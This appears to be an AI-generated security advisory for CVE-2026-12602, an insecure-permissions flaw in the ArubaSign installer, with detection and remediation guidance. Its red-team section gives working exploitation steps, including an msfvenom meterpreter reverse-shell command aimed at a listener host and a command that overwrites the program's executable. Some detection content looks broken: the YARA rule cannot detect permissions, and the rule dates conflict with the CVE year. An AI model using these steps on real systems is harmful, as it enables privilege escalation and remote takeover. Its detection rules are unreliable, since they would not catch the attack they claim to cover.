CVE-2026-12602

Executive Summary

CVE-2026-12602 is a high-severity vulnerability in ArubaSign, a digital signature application, affecting versions prior to v4.6.6. The flaw stems from Incorrect Default Permissions (CWE-276) during installation, where the main executable and program files in C:/Program Files are granted excessive permissions to the Everyone group. This allows an unprivileged local user to replace the main executable or its components with a malicious file, leading to arbitrary code execution. In a worst-case scenario, if the malicious code runs with elevated privileges (e.g., Administrator or SYSTEM), an attacker can achieve privilege escalation and full system compromise.

The vulnerability is local (AV:L) and requires low privileges to exploit, but the impact on confidentiality, integrity, and availability is high. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the ease of exploitation and potential for privilege escalation make this a critical issue for affected systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows desktop application (ArubaSign) with a flawed installer that sets insecure file permissions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed for exploitation.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary file replacement.
• Availability Impact: High (A:H) – System compromise can lead to denial of service.

Threat Level: High. The vulnerability is easy to exploit locally and can lead to full system takeover. While no public exploit exists, the attack vector is straightforward.

Deep Dive & Mechanics

The vulnerability is rooted in the default installation permissions of ArubaSign. During installation, the installer sets the Everyone group with Full Control or Modify permissions on the installation directory (C:\Program Files\ArubaSign). This means any user, including unprivileged ones, can read, write, modify, or delete files in that directory.

Attack Flow:

1. An attacker with local access (e.g., via a compromised user account) identifies the ArubaSign installation directory.
2. The attacker replaces the main executable (e.g., ArubaSign.exe) or a critical DLL with a malicious payload.
3. When a legitimate user (or the system) launches ArubaSign, the malicious executable runs with the privileges of the launching user.
4. If the launching user has elevated privileges (e.g., Administrator or SYSTEM), the attacker gains those privileges, leading to full system compromise.

Why This Works:

• Windows permissions are inherited by default. If the installer does not explicitly restrict permissions, the Everyone group inherits excessive rights.
• The C:\Program Files directory is typically protected, but the installer overrides this by setting insecure ACLs on its subdirectory.
• No authentication or additional steps are required beyond file replacement.

Vulnerable vs. Patched Code

Vulnerable Installation (Pre-4.6.6):

• The installer sets permissions such that Everyone has FullControl on C:\Program Files\ArubaSign.
• Example (PowerShell to check):

  Get-Acl "C:\Program Files\ArubaSign" | Format-List
  

  Output would show Everyone with FullControl.

Patched Installation (4.6.6+):

• The installer restricts permissions to only Administrators and SYSTEM, with Users having Read & Execute only.
• Example (PowerShell to verify):

  Get-Acl "C:\Program Files\ArubaSign" | Format-List
  

  Output would show BUILTIN\Administrators with FullControl, NT AUTHORITY\SYSTEM with FullControl, and BUILTIN\Users with ReadAndExecute.

No code snippet is provided for the vulnerable vs. patched code because the fix is in the installer configuration, not in the application source code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system with ArubaSign < 4.6.6 installed.
• A standard user account (non-admin).

Steps:

1. Identify the installation directory:

   dir "C:\Program Files\ArubaSign"
   

2. Check current permissions:

   icacls "C:\Program Files\ArubaSign"
   

   Look for Everyone:(F) or Everyone:(M).
3. Create a malicious executable (e.g., using msfvenom):

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o evil.exe
   

4. Replace the legitimate executable:

   copy /Y evil.exe "C:\Program Files\ArubaSign\ArubaSign.exe"
   

5. Wait for a privileged user to launch ArubaSign (or trigger it via scheduled task).
6. Receive the reverse shell with elevated privileges.

Alternative Payload: Replace a DLL (e.g., libeay32.dll) with a malicious one to achieve DLL hijacking.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor file integrity on C:\Program Files\ArubaSign using Sysmon or file integrity monitoring (FIM).
2. Audit permissions regularly:

   Get-ChildItem "C:\Program Files\ArubaSign" -Recurse | Get-Acl | Where-Object { $_.AccessToString -match "Everyone" }
   

3. Enable Windows Auditing for file modifications:
   • Audit object access on the ArubaSign directory.
   • Look for Event ID 4663 (An attempt was made to access an object).

Response:

• If unauthorized file modifications are detected, isolate the system.
• Restore original files from a trusted backup.
• Upgrade to ArubaSign 4.6.6 immediately.

Indicators of Compromise (IOCs)

• File System:
  • Modified or replaced files in C:\Program Files\ArubaSign\ (e.g., ArubaSign.exe, *.dll).
  • Presence of unexpected executables or scripts in the directory.
• Registry:
  • Unusual entries under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run pointing to the ArubaSign directory.
• Process:
  • ArubaSign.exe running with unexpected parent processes (e.g., cmd.exe or explorer.exe).
• Network:
  • Outbound connections from ArubaSign.exe to unknown IPs (if payload is a reverse shell).
• Logs:
  • Windows Security Event ID 4663 with AccessMask: 0x6 (Write) on C:\Program Files\ArubaSign\*.
  • Sysmon Event ID 11 (FileCreate) for new files in the directory.

Detection Engineering

YARA Rule

rule CVE_2026_12602_ArubaSign_Permissions
{
    meta:
        description = "Detects insecure permissions on ArubaSign installation directory"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-12602"
    strings:
        $s1 = "C:\\Program Files\\ArubaSign" nocase
        $s2 = "Everyone" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Insecure Permissions on ArubaSign Directory
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects when the Everyone group has excessive permissions on the ArubaSign installation directory.
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|contains: 'C:\Program Files\ArubaSign'
        AccessMask: '0x6'  # Write
    condition: selection
falsepositives:
    - Legitimate administrative changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-12602 ArubaSign Potential Exfiltration"; flow:to_server,established; content:"ArubaSign"; http_user_agent; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ArubaSign to version 4.6.6 or later.
2. Manually fix permissions on existing installations:

   $acl = Get-Acl "C:\Program Files\ArubaSign"
   $acl.SetAccessRuleProtection($true, $false)
   $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators","FullControl","ContainerInherit,ObjectInherit","None","Allow")
   $acl.AddAccessRule($rule)
   $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow")
   $acl.AddAccessRule($rule)
   $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Users","ReadAndExecute","ContainerInherit,ObjectInherit","None","Allow")
   $acl.AddAccessRule($rule)
   Set-Acl "C:\Program Files\ArubaSign" $acl
   

3. Verify integrity of all files in the directory using checksums.

Long-Term Mitigations:

• Implement application whitelisting (e.g., AppLocker) to prevent unauthorized executables.
• Use Windows Defender Application Control (WDAC) to block unsigned binaries.
• Regularly audit file permissions on critical directories.
• Educate users about the risks of running untrusted software.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.